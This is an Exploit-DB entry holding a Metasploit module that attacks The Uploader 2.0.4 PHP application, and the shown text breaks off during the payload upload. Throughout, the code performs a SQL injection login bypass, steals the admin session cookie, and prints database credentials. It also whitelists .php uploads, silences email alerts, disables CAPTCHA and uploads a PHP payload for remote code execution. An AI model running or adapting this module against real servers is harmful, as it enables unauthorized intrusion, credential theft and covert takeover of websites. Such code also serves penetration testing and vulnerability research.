Exploit-DB #18518
Description: The Uploader 2.0.4 (English/Italian) - Arbitrary File Upload / Remote Code Execution (Metasploit)
Type: webapps
Platform: php
Date: 2012-02-23
Author: Danny Moules

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'				=> 'The Uploader 2.0.4 (Eng/Ita) Remote File Upload',
			'Description'=> %q{
					This module exploits various flaws in The Uploader to upload a PHP payload
					to target system. When run with defaults it will search possible URIs for
					the application and exploit it automatically. Works against both English
					and Italian language versions. Notably it disables pre-emptive email warnings
					before uploading the payload, though it leaves log cleanup as a
					post-exploitation task.
			},
			'Author'			=> [ 'Danny Moules' ],
			'References'     	=>
				[
					[ 'URL', 'http://sourceforge.net/projects/theuploader' ],
					[ 'CVE', '2011-2944' ],
				],
			'Privileged'		=> false,
			'Payload'        	=>
				{
					'DisableNops'	=> true,
					'Keys'        => ['php'],
				},
			'License'			=> MSF_LICENSE,
			'Platform'			=> 'php',
			'Arch'				=> ARCH_PHP,
			'Targets'			=> [[ 'Automatic', { }]],
			'DefaultTarget' 	=> 0,
			'DisclosureDate' 	=> 'Feb 23 2012',
		))

		register_options([
			Opt::RHOST,
			Opt::RPORT(80),
			OptString.new(
				'URI',
				[ true, 'Path of application root (default will try common targets)', '/' ]
			),
			OptInt.new(
				'CRACKATTEMPTS',
				[ true, 'Brute force attempts, if required, to crack CAPTCHA', 200 ]
			),
			OptBool.new(
				'VERBOSE',
				[ true, 'Verbose output', true ]
			),
		], self.class)
	end

	def get_strings(lang)
		if lang == "Eng"
			strings = {
				"sqlisuccess" => /Log-In has been done successfully/,
				"whitelistsuccess" => /The extension has been added successfully/,
				"disablemailsuccess" => /Notification Mail section has been saved successfully/,
				"changedirsuccess" => /Edit Upload Folder section has been saved successfully/,
				"captcharequired" => /No result entered/,
				"uploadsuccess" => /Download Link/,
				"disablecaptchasuccess" =>
					/Upload Permissions section has been saved successfully/,
			}
		elsif lang == "Ita"
			strings = {
				"sqlisuccess" => /stato effettuato con successo/,
				"whitelistsuccess" => /L'estensione &egrave; stata consentita con successo/,
				"disablemailsuccess" => /Mail di Notifica &egrave; stata salvata con successo/,
				"changedirsuccess" =>
					/Modifica Cartella Upload &egrave; stata salvata con successo/,
				"captcharequired" => /Non &agrave; stato inserito nessun risultato/,
				"uploadsuccess" => /Link al download/,
				"disablecaptchasuccess" => /Permessi Upload &egrave; stata salvata con successo/,
			}
		end
		return strings
	end

	def exploit
		#Analyse target
		analysis = analyse(datastore['URI'])
		print_status(analysis['status'])
		strings = get_strings(analysis['lang'])
		unless analysis['uri'].nil?
			datastore['URI'] = analysis['uri']
		end

		#Attempt SQLi - Gets the 'first' valid admin account
		data = "username=' OR activated=1-- a"
		data << "&password=a"
		data << "&login=Log-IN"

		res = send_and_verify(
			datastore['URI'] + "login.php",
			"POST",
			"application/x-www-form-urlencoded",
			"",
			data,
			"SQL injection",
			strings['sqlisuccess']
		)

		#Get cookies
		unless res.headers.include?('Set-Cookie')
			raise RuntimeError.new("Nobody gave us a cookie =( SQLi failed")
		end
		choc_chip = res.headers['Set-Cookie']
		if datastore["VERBOSE"]
			print_good("I stole the cookie from the cookie jar: #{choc_chip}")
		end

		#Optionally, analyse configuration
		if datastore["VERBOSE"]
			begin
				config = analyse_config(strings, choc_chip)
				print_status("INFO: Database host is #{config['db_host']}")
				print_status("INFO: Database username is #{config['db_user']}")
				print_status("INFO: Database password is #{config['db_pass']}")
				print_status("INFO: Database name is #{config['db_name']}")
				print_status("INFO: Admin log is #{config['admin_log']}")
			rescue ::Exception => e
				err = "Non-fatal error. Failed to analyse configuration: "
				err << "#{e.class.to_s} #{e.to_s}"
				print_error(err)
			end
		end

		#Whitelist .php extensions for upload
		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=extensionadd",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			"allowed_ext=php",
			"Whitelisting .php extensions",
			strings['whitelistsuccess']
		)

		# Disable email reporting
		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=mail",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			"upload_email=0",
			"Disabling email reporting",
			strings['disablemailsuccess']
		)

		# Change upload location to suit us
		data = "upload_directory="
		data << "&upload_full="
		data << datastore['RHOST']
		data << datastore['URI']

		res = send_and_verify(
			datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=uploaddir",
			"POST",
			"application/x-www-form-urlencoded",
			choc_chip,
			data,
			"Changing upload directory to application root",
			strings['changedirsuccess']
		)

		#Disable CAPTCHA on upload (non-fatal)
		begin
			res = send_and_verify(
				datastore['URI'] + "admin/ajaxmanager.php?section=upload&category=captcha",
				"POST",
				"application/x-www-form-urlencoded",
				choc_chip,
				"captcha_upload=0",
				"Disabling CAPTCHA on upload",
				strings['disablecaptchasuccess']
			)
		rescue ::Exception
			print_error("Disabling CAPTCHA on upload failed. Will use cracker if necessary.")
		end

		#Upload PHP payload
		upload_uri = "ajax/upload.php"
		filename = "#{rand_text_alphanumeric(8)}.php"
		boundary = rand_text_alphanumeric(8)
		data = %Q{
--#{boundary}
Content-Disposition: form-data; name="upfile_1"; filename="#{filename}